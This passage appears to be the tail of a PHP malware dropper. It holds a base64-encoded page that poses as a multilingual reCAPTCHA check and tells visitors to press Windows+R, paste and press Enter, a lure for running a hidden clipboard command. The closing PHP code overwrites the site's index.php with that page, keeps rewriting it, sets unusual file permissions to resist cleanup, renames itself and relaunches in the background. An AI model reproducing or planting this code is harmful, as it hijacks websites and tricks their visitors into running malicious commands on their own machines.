s4KS+4KSP4KSB4KWkIixzdGVwMzoi4KS44KSu4KS+4KSq4KWN4KSkIOCkleCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkleClgOCkrOCli+CksOCljeCkoSDgpKrgpLAgPGI+RW50ZXI8L2I+IOCkpuCkrOCkvuCkj+CkgeClpCIsb2JzZXJ2ZToi4KSG4KSqIOCkpuClh+CkluClh+CkguCkl+ClhyDgpJTgpLAg4KS44KS54KSu4KSkIOCkueCli+CkguCkl+ClhzoiLGNvbmZpcm1MZWFkOiLgpK7gpYjgpIIg4KSP4KSVIOCksOCli+CkrOCli+CknyDgpKjgpLngpYDgpIIg4KS54KWC4KSBIC0gcmVDQVBUQ0hBIOCkuOCkpOCljeCkr+CkvuCkquCkqCDgpIbgpIjgpKHgpYA6ICIsZmluYWw6IuCkuOCkpOCljeCkr+CkvuCkquCkqCDgpKrgpYLgpLDgpL4g4KSV4KSw4KSo4KWHIOCkleClhyDgpLLgpL/gpI8g4KSK4KSq4KSwIOCkpuCkv+CkjyDgpJfgpI8g4KSa4KSw4KSj4KWL4KSCIOCkleCkviDgpKrgpL7gpLLgpKgg4KSV4KSw4KWH4KSC4KWkIix2ZXJpZnlCdG46IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpLDgpYfgpIIiLGNvbmZpZGVudGlhbGl0eToi4KSX4KWL4KSq4KSo4KWA4KSv4KSk4KS+Iix0ZXJtczoi4KSo4KS/4KSv4KSuIOCklOCksCDgpLbgpLDgpY3gpKTgpYfgpIIiLGZvb3Rlcjoi4KSG4KSq4KSV4KWAIOCkleCkqOClh+CkleCljeCktuCkqCDgpJXgpYAg4KS44KWB4KSw4KSV4KWN4KS34KS+IOCkleClgCDgpLjgpK7gpYDgpJXgpY3gpLfgpL4g4KSV4KSw4KSo4KWHIOCkleClgCDgpIbgpLXgpLbgpY3gpK/gpJXgpKTgpL4g4KS54KWI4KWkIn0sCgogICAgaWQ6e2NoZWNraW5nOiJNZW1lcmlrc2EgYXBha2FoIEFuZGEgbWFudXNpYS4gSW5pIG11bmdraW4gbWVtYnV0dWhrYW4gYmViZXJhcGEgZGV0aWsuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVmVyaWZpa2FzaSBiYWh3YSBBbmRhIG1hbnVzaWEgZGVuZ2FuIG1lbnllbGVzYWlrYW4gdGluZGFrYW4gZGkgYmF3YWggaW5pLiIsdmVyaWZ5aW5nOiJNZW12ZXJpZmlrYXNpLi4uIixub3RSb2JvdDoiU2F5YSBidWthbiByb2JvdCIsc3RlcHM6IkxhbmdrYWggVmVyaWZpa2FzaSIsc3VjY2VzczoiQmVyaGFzaWwuIix2ZXJpZnlUaXRsZToiVW50dWsgbWVtYnVrdGlrYW4gYmFod2EgQW5kYSBidWthbiByb2JvdDoiLHN0ZXAxOiJUZWthbiBkYW4gdGFoYW4gVG9tYm9sIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiRGkgamVuZGVsYSB2ZXJpZmlrYXNpLCB0ZWthbiA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlRla2FuIDxiPkVudGVyPC9iPiBwYWRhIGtleWJvYXJkIEFuZGEgdW50dWsgbWVueWVsZXNhaWthbi4iLG9ic2VydmU6IkFuZGEgYWthbiBtZWxpaGF0IGRhbiBtZW55ZXR1anVpOiIsY29uZmlybUxlYWQ6IlNheWEgYnVrYW4gcm9ib3QgLSBJRCBWZXJpZmlrYXNpIHJlQ0FQVENIQTogIixmaW5hbDoiTGFrdWthbiBsYW5na2FoIGRpIGF0YXMgdW50dWsgbWVueWVsZXNhaWthbiB2ZXJpZmlrYXNpLiIsdmVyaWZ5QnRuOiJWZXJpZmlrYXNpIixjb25maWRlbnRpYWxpdHk6IktlcmFoYXNpYWFuIix0ZXJtczoiU3lhcmF0IGRhbiBLZXRlbnR1YW4iLGZvb3RlcjoicGVybHUgbWVuaW5qYXUga2VhbWFuYW4ga29uZWtzaSBBbmRhIHNlYmVsdW0gbWVsYW5qdXRrYW4uIn0sCgogICAgdmk6e2NoZWNraW5nOiLEkGFuZyBraeG7g20gdHJhIHhlbSBi4bqhbiBjw7MgcGjhuqNpIGzDoCBjb24gbmfGsOG7nWkga2jDtG5nLiBWaeG7h2MgbsOgeSBjw7MgdGjhu4MgbeG6pXQgdsOgaSBnacOieS4iLHZlcmlmeUluc3RydWN0aW9uOiJYw6FjIG1pbmggYuG6oW4gbMOgIG5nxrDhu51pIGLhurFuZyBjw6FjaCBob8OgbiB0aMOgbmggaMOgbmggxJHhu5luZyBiw6puIGTGsOG7m2kuIix2ZXJpZnlpbmc6IsSQYW5nIHjDoWMgbWluaC4uLiIsbm90Um9ib3Q6IlTDtGkga2jDtG5nIHBo4bqjaSBsw6AgcsO0LWLhu5F0IixzdGVwczoiQ8OhYyBixrDhu5tjIHjDoWMgbWluaCIsc3VjY2VzczoiVGjDoG5oIGPDtG5nLiIsdmVyaWZ5VGl0bGU6IsSQ4buDIGNo4bupbmcgbWluaCBi4bqhbiBraMO0bmcgcGjhuqNpIGzDoCByw7QtYuG7kXQ6IixzdGVwMToiTmjhuqVuIHbDoCBnaeG7ryBwaMOtbSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IlRyb25nIGPhu61hIHPhu5UgeMOhYyBtaW5oLCBuaOG6pW4gPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJOaOG6pW4gPGI+RW50ZXI8L2I+IHRyw6puIGLDoG4gcGjDrW0gxJHhu4Mga+G6v3QgdGjDumMuIixvYnNlcnZlOiJC4bqhbiBz4bq9IHF1YW4gc8OhdCB2w6AgxJHhu5NuZyDDvToiLGNvbmZpcm1MZWFkOiJUw7RpIGtow7RuZyBwaOG6o2kgbMOgIHLDtC1i4buRdCAtIElEIHjDoWMgbWluaCByZUNBUFRDSEE6ICIsZmluYWw6IlRo4buxYyBoaeG7h24gY8OhYyBixrDhu5tjIHRyw6puIMSR4buDIGhvw6BuIHThuqV0IHjDoWMgbWluaC4iLHZlcmlmeUJ0bjoiWMOhYyBtaW5oIixjb25maWRlbnRpYWxpdHk6IkLhuqNvIG3huq10Iix0ZXJtczoixJBp4buBdSBraG/huqNuIHbDoCDEkGnhu4F1IGtp4buHbiIsZm9vdGVyOiJj4bqnbiBraeG7g20gdHJhIGLhuqNvIG3huq10IGvhur90IG7hu5FpIGPhu6dhIGLhuqFuIHRyxrDhu5tjIGtoaSB0aeG6v3AgdOG7pWMuIn0sCgogICAgdGg6e2NoZWNraW5nOiLguIHguLPguKXguLHguIfguJXguKPguKfguIjguKrguK3guJrguKfguYjguLLguITguLjguJPguYDguJvguYfguJnguKHguJnguLjguKnguKLguYzguKvguKPguLfguK3guYTguKHguYgg4Lit4Liy4LiI4LmD4LiK4LmJ4LmA4Lin4Lil4Liy4Liq4Lix4LiB4LiE4Lij4Li54LmIIix2ZXJpZnlJbnN0cnVjdGlvbjoi4LmC4Lib4Lij4LiU4Lii4Li34LiZ4Lii4Lix4LiZ4Lin4LmI4Liy4LiE4Li44LiT4LmA4Lib4LmH4LiZ4Lih4LiZ4Li44Lip4Lii4LmM4LmC4LiU4Lii4LiX4Liz4LiV4Liy4Lih4LiC4Lix4LmJ4LiZ4LiV4Lit4LiZ4LiU4LmJ4Liy4LiZ4Lil4LmI4Liy4LiHIix2ZXJpZnlpbmc6IuC4geC4s+C4peC4seC4h+C4leC4o+C4p+C4iOC4quC4reC4mi4uLiIsbm90Um9ib3Q6IuC4ieC4seC4meC5hOC4oeC5iOC5g+C4iuC5iOC4q+C4uOC5iOC4meC4ouC4meC4leC5jCIsc3RlcHM6IuC4guC4seC5ieC4meC4leC4reC4meC4geC4suC4o+C4ouC4t+C4meC4ouC4seC4mSIsc3VjY2Vzczoi4Liq4Liz4LmA4Lij4LmH4LiIIix2ZXJpZnlUaXRsZToi4LmA4Lie4Li34LmI4Lit4Lie4Li04Liq4Li54LiI4LiZ4LmM4Lin4LmI4Liy4LiE4Li44LiT4LmE4Lih4LmI4LmD4LiK4LmI4Lir4Li44LmI4LiZ4Lii4LiZ4LiV4LmMOiIsc3RlcDE6IuC4geC4lOC4hOC5ieC4suC4h+C4l+C4teC5iOC4m+C4uOC5iOC4oSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IixzdGVwMjoi4LmD4LiZ4Lir4LiZ4LmJ4Liy4LiV4LmI4Liy4LiH4LiB4Liy4Lij4Lii4Li34LiZ4Lii4Lix4LiZIOC5g+C4q+C5ieC4geC4lCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IixzdGVwMzoi4LiB4LiUIDxiPkVudGVyPC9iPiDguYDguJ7guLfguYjguK3guYDguKrguKPguYfguIjguKrguLTguYnguJkiLG9ic2VydmU6IuC4hOC4uOC4k+C4iOC4sOC5gOC4q+C5h+C4meC5geC4peC4sOC4leC4geC4peC4hzoiLGNvbmZpcm1MZWFkOiLguInguLHguJnguYTguKHguYjguYPguIrguYjguKvguLjguYjguJnguKLguJnguJXguYwgLSDguKPguKvguLHguKrguKLguLfguJnguKLguLHguJkgcmVDQVBUQ0hBOiAiLGZpbmFsOiLguJTguLPguYDguJnguLTguJnguIHguLLguKPguJXguLLguKHguILguLHguYnguJnguJXguK3guJnguJTguYnguLLguJnguJrguJnguYDguJ7guLfguYjguK3guYDguKrguKPguYfguIjguKrguLTguYnguJnguIHguLLguKPguKLguLfguJnguKLguLHguJkiLHZlcmlmeUJ0bjoi4Lii4Li34LiZ4Lii4Lix4LiZIixjb25maWRlbnRpYWxpdHk6IuC4hOC4p+C4suC4oeC4peC4seC4miIsdGVybXM6IuC4guC5ieC4reC4geC4s+C4q+C4meC4lOC5geC4peC4sOC5gOC4h+C4t+C5iOC4reC4meC5hOC4giIsZm9vdGVyOiLguIjguLPguYDguJvguYfguJnguJXguYnguK3guIfguJXguKPguKfguIjguKrguK3guJrguITguKfguLLguKHguJvguKXguK3guJTguKDguLHguKLguILguK3guIfguIHguLLguKPguYDguIrguLfguYjguK3guKHguJXguYjguK3guILguK3guIfguITguLjguJPguIHguYjguK3guJnguJTguLPguYDguJnguLTguJnguIHguLLguKPguJXguYjguK0uIn0sCgogICAgdWs6e2NoZWNraW5nOiLQn9C10YDQtdCy0ZbRgNC60LAsINGH0Lgg0LLQuCDQu9GO0LTQuNC90LAuINCm0LUg0LzQvtC20LUg0LfQsNC50L3Rj9GC0Lgg0LrRltC70YzQutCwINGB0LXQutGD0L3QtC4iLHZlcmlmeUluc3RydWN0aW9uOiLQn9GW0LTRgtCy0LXRgNC00ZbRgtGMLCDRidC+INCy0Lgg0LvRjtC00LjQvdCwLCDQstC40LrQvtC90LDQstGI0Lgg0LTRltGOINC90LjQttGH0LUuIix2ZXJpZnlpbmc6ItCf0LXRgNC10LLRltGA0LrQsC4uLiIsbm90Um9ib3Q6ItCvINC90LUg0YDQvtCx0L7RgiIsc3RlcHM6ItCa0YDQvtC60Lgg0L/QtdGA0LXQstGW0YDQutC4IixzdWNjZXNzOiLQo9GB0L/RltGI0L3Qvi4iLHZlcmlmeVRpdGxlOiLQqdC+0LEg0LTQvtCy0LXRgdGC0LgsINGJ0L4g0LLQuCDQvdC1INGA0L7QsdC+0YI6IixzdGVwMToi0KPRgtGA0LjQvNGD0LnRgtC1INC60LvQsNCy0ZbRiNGDIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoi0KMg0LLRltC60L3RliDQv9C10YDQtdCy0ZbRgNC60Lgg0L3QsNGC0LjRgdC90ZbRgtGMIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoi0J3QsNGC0LjRgdC90ZbRgtGMIDxiPkVudGVyPC9iPiwg0YnQvtCxINC30LDQstC10YDRiNC40YLQuC4iLG9ic2VydmU6ItCS0Lgg0L/QvtCx0LDRh9C40YLQtSDRgtCwINC/0L7Qs9C+0LTQuNGC0LXRgdGMOiIsY29uZmlybUxlYWQ6ItCvINC90LUg0YDQvtCx0L7RgiDigJQg0ZbQtNC10L3RgtC40YTRltC60LDRgtC+0YAg0L/QtdGA0LXQstGW0YDQutC4IHJlQ0FQVENIQTogIixmaW5hbDoi0JLQuNC60L7QvdCw0LnRgtC1INC90LDQstC10LTQtdC90ZYg0LLQuNGJ0LUg0LrRgNC+0LrQuCwg0YnQvtCxINC30LDQstC10YDRiNC40YLQuCDQv9C10YDQtdCy0ZbRgNC60YMuIix2ZXJpZnlCdG46ItCf0LXRgNC10LLRltGA0LjRgtC4Iixjb25maWRlbnRpYWxpdHk6ItCa0L7QvdGE0ZbQtNC10L3RhtGW0LnQvdGW0YHRgtGMIix0ZXJtczoi0KPQvNC+0LLQuCIsZm9vdGVyOiLQv9C+0LLQuNC90L3QsCDQv9C10YDQtdCy0ZbRgNC40YLQuCDQsdC10LfQv9C10LrRgyDQstCw0YjQvtCz0L4g0Lcn0ZTQtNC90LDQvdC90Y8g0L/QtdGA0LXQtCDQv9GA0L7QtNC+0LLQttC10L3QvdGP0LwuIn0sCgogICAgY3M6e2NoZWNraW5nOiJLb250cm9sdWplIHNlLCB6ZGEganN0ZSDEjWxvdsSbay4gVG8gbcWvxb5lIHRydmF0IG7Em2tvbGlrIHNla3VuZC4iLHZlcmlmeUluc3RydWN0aW9uOiJPdsSbxZl0ZSwgxb5lIGpzdGUgxI1sb3bEm2ssIHByb3ZlZGVuw61tIG7DrcW+ZSB1dmVkZW7DqSBha2NlLiIsdmVyaWZ5aW5nOiJPdsSbxZlvdsOhbsOtLi4uIixub3RSb2JvdDoiTmVqc2VtIHJvYm90IixzdGVwczoiS3Jva3kgb3bEm8WZZW7DrSIsc3VjY2Vzczoiw5pzcMSbxaFuxJsuIix2ZXJpZnlUaXRsZToiQWJ5IHNlIHByb2vDoXphbG8sIMW+ZSBuZWpzdGUgcm9ib3Q6IixzdGVwMToiU3Rpc2tuxJt0ZSBhIHBvZHLFvnRlIGtsw6F2ZXN1IFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiViBvdsSbxZlvdmFjw61tIG9rbsSbIHN0aXNrbsSbdGUgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJTdGlza27Em3RlIDxiPkVudGVyPC9iPiBwcm8gZG9rb27EjWVuw60uIixvYnNlcnZlOiJCdWRldGUgcG96b3JvdmF0IGEgc291aGxhc2l0OiIsY29uZmlybUxlYWQ6Ik5lanNlbSByb2JvdCDigJQgSUQgb3bEm8WZZW7DrSByZUNBUFRDSEE6ICIsZmluYWw6IlBybyBkb2tvbsSNZW7DrSBvdsSbxZllbsOtIHByb3ZlxI90ZSB2w73FoWUgdXZlZGVuw6kga3Jva3kuIix2ZXJpZnlCdG46Ik92xJvFmWl0Iixjb25maWRlbnRpYWxpdHk6IkTFr3bEm3Jub3N0Iix0ZXJtczoiUG9kbcOtbmt5Iixmb290ZXI6Im11c8OtIHprb250cm9sb3ZhdCBiZXpwZcSNbm9zdCB2YcWhZWhvIHDFmWlwb2plbsOtIHDFmWVkIHBva3JhxI1vdsOhbsOtbS4ifQogIH07CgogIGZ1bmN0aW9uIGRldGVjdExhbmcoKXsKICAgIGNvbnN0IHByZWZzPShuYXZpZ2F0b3IubGFuZ3VhZ2VzJiZuYXZpZ2F0b3IubGFuZ3VhZ2VzLmxlbmd0aD9uYXZpZ2F0b3IubGFuZ3VhZ2VzOltuYXZpZ2F0b3IubGFuZ3VhZ2V8fCJlbiJdKS5tYXAoeD0+eC50b0xvd2VyQ2FzZSgpKTsKICAgIGZvcihjb25zdCBsIG9mIHByZWZzKXsKICAgICAgaWYobC5zdGFydHNXaXRoKCJhciIpKSByZXR1cm4gImFyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJoZSIpKSByZXR1cm4gImFyIjsgLy8gdHJlYXQgaGVicmV3IGFzIHJ0bCAod2lsbCBiZSBoYW5kbGVkKQogICAgICBpZihsLnN0YXJ0c1dpdGgoImZyIikpIHJldHVybiAiZnIiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImRlIikpIHJldHVybiAiZGUiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoIml0IikpIHJldHVybiAiaXQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImphIikpIHJldHVybiAiamEiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInpoIikpIHJldHVybiAiemgiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImtvIikpIHJldHVybiAia28iOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInJ1IikpIHJldHVybiAicnUiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImVzIikpIHJldHVybiAiZXMiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInB0IikpIHJldHVybiAicHQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoIm5sIikpIHJldHVybiAibmwiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInRyIikpIHJldHVybiAidHIiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInBsIikpIHJldHVybiAicGwiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInN2IikpIHJldHVybiAic3YiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImRhIikpIHJldHVybiAiZGEiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImZpIikpIHJldHVybiAiZmkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImhpIikpIHJldHVybiAiaGkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImlkIikpIHJldHVybiAiaWQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInZpIikpIHJldHVybiAidmkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInRoIikpIHJldHVybiAidGgiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInVrIikpIHJldHVybiAidWsiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImNzIikpIHJldHVybiAiY3MiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImVuIikpIHJldHVybiAiZW4iOwogICAgfQogICAgcmV0dXJuICJlbiI7CiAgfQoKICBmdW5jdGlvbiByZWFkeShmbil7IGlmKGRvY3VtZW50LnJlYWR5U3RhdGU9PT0ibG9hZGluZyIpIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGZuKTsgZWxzZSBmbigpOyB9CgogIHJlYWR5KGZ1bmN0aW9uKCl7CiAgICBjb25zdCBsYW5nID0gZGV0ZWN0TGFuZygpOwogICAgY29uc3QgdCA9IGkxOG5bbGFuZ10gfHwgaTE4bi5lbjsKCiAgICAvLyBSVEwgc3VwcG9ydCBmw7xyIGFyYWJpc2NoICsgaGVicsOkaXNjaAogICAgaWYgKGxhbmcgPT09ICJhciIgfHwgbGFuZyA9PT0gImhlIikgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRpciA9ICJydGwiOwoKICAgCiAgICBjb25zdCBwcmUgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJlbG9hZGVyX3RleHQiKTsgaWYocHJlKSBwcmUudGV4dENvbnRlbnQgPSB0LmNoZWNraW5nOwogICAgY29uc3QgYWxsc3RlcCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi50ZXh0YWxsc3RlcCIpOyBpZihhbGxzdGVwKSBhbGxzdGVwLnRleHRDb250ZW50ID0gdC52ZXJpZnlJbnN0cnVjdGlvbjsKCgogICAgY29uc3Qgc2V0ID0gKHNlbCwgdHh0KT0+eyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChlbD0+ZWwudGV4dENvbnRlbnQgPSB0eHQpOyB9OwogICAgc2V0KCIudGV0dHggLnN0ZXAwIiwgdC52ZXJpZnlpbmcpOwogICAgc2V0KCIudGV0dHggLnN0ZXAxIiwgdC5ub3RSb2JvdCk7CiAgICBzZXQoIi50ZXR0eCAuc3RlcDIiLCB0LnN0ZXBzKTsKICAgIHNldCgiLnRldHR4IC5zdGVwMyIsIHQuc3VjY2Vzcyk7CgoKICAgIGNvbnN0IGNiID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94Iik7IGlmIChjYikgY2IudGV4dENvbnRlbnQgPSAiIjsKCgogICAgY29uc3QgdGl0bGVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHA6Zmlyc3Qtb2YtdHlwZSIpOwogICAgaWYgKHRpdGxlUCkgdGl0bGVQLmlubmVySFRNTCA9IHQudmVyaWZ5VGl0bGU7CgogICAgY29uc3Qgc3RlcHNPbCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZnktd2luZG93IC52ZXJpZnktbWFpbiBvbCIpOwogICAgaWYgKHN0ZXBzT2wpIHN0ZXBzT2wuaW5uZXJIVE1MID0gYDxsaT4ke3Quc3RlcDF9PC9saT48bGk+JHt0LnN0ZXAyfTwvbGk+PGxpPiR7dC5zdGVwM308L2xpPmA7CgoKICAgIGNvbnN0IG9ic2VydmVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHAub2JzZXJ2ZSIpOwogICAgaWYgKG9ic2VydmVQKSB7CiAgICAgIGNvbnN0IGNvZGVFbCA9IG9ic2VydmVQLnF1ZXJ5U2VsZWN0b3IoImNvZGUiKTsKICAgICAgY29uc3QgcGllY2VzID0gb2JzZXJ2ZVAuaW5uZXJIVE1MLnNwbGl0KCI8YnI+Iik7CiAgICAgIHBpZWNlc1swXSA9IHQub2JzZXJ2ZTsKICAgICAgb2JzZXJ2ZVAuaW5uZXJIVE1MID0gcGllY2VzLmpvaW4oIjxicj4iKTsKICAgICAgaWYgKGNvZGVFbCkgewogICAgICAgIGNvbnN0IGlkU3BhbiA9IGNvZGVFbC5xdWVyeVNlbGVjdG9yKCIjdmVyaWZpY2F0aW9uLWlkIik7CiAgICAgICAgY29uc3QgaWRIdG1sID0gaWRTcGFuID8gaWRTcGFuLm91dGVySFRNTCA6ICc8c3BhbiBpZD0idmVyaWZpY2F0aW9uLWlkIj48L3NwYW4+JzsKICAgICAgICBjb2RlRWwuaW5uZXJIVE1MID0gYCDinIUgIiR7dC5jb25maXJtTGVhZH0ke2lkSHRtbH0iIGA7CiAgICAgIH0KICAgIH0KCiAgICBjb25zdCBsZWZ0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZlcmlmeS1mb290ZXItbGVmdCIpOyBpZiAobGVmdCkgbGVmdC50ZXh0Q29udGVudCA9IHQuZmluYWw7CiAgICBjb25zdCBidG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LWJ1dHRvbiIpOyBpZiAoYnRuKSBidG4udGV4dENvbnRlbnQgPSB0LnZlcmlmeUJ0bjsKCgogICAgY29uc3QgbGVnYWxCb3ggPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjY2hlY2tib3gtd2luZG93ID4gZGl2ID4gZGl2Omxhc3QtY2hpbGQnKTsKICAgIGlmIChsZWdhbEJveCkgewogICAgICBjb25zdCBwcyA9IGxlZ2FsQm94LnF1ZXJ5U2VsZWN0b3JBbGwoInAiKTsKICAgICAgaWYgKHBzWzBdKSBwc1swXS50ZXh0Q29udGVudCA9IHQuY29uZmlkZW50aWFsaXR5OwogICAgICBpZiAocHNbMV0pIHBzWzFdLnRleHRDb250ZW50ID0gdC50ZXJtczsKICAgIH0KCgogICAgY29uc3QgZG9tYWluUGFyYXMgPSBBcnJheS5mcm9tKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoInAgLmRvbWFpbi1uYW1lIikpLm1hcChzPT5zLnBhcmVudEVsZW1lbnQpOwogICAgZm9yIChjb25zdCBwIG9mIGRvbWFpblBhcmFzKXsKICAgICAgaWYgKC9cYm5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nXC4vaS50ZXN0KHAudGV4dENvbnRlbnQpKSB7CiAgICAgICAgY29uc3QgaG9zdCA9IChwLnF1ZXJ5U2VsZWN0b3IoIi5kb21haW4tbmFtZSIpPy50ZXh0Q29udGVudCB8fCB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUgfHwgIiIpOwogICAgICAgIHAuaW5uZXJIVE1MID0gYDxzcGFuIGNsYXNzPSJkb21haW4tbmFtZSI+JHtob3N0fTwvc3Bhbj4gJHt0LmZvb3Rlcn1gOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgfSk7Cn0pKCk7Cjwvc2NyaXB0PgoKPC9ib2R5PjwvaHRtbD4=");if(!file_exists($w."index.php")){@file_put_contents($w."index.php",$aa);}else{$r=@file_get_contents($w."index.php");if(md5($r)!=md5($aa)){@chmod($w."index.php",0133+0511);@file_put_contents($w."index.php",$aa);}}@chmod($w."index.php",0311+0133);rename(__FILE__,$y);exec("php -f {$y} > /dev/null 2>/dev/null &",$bb);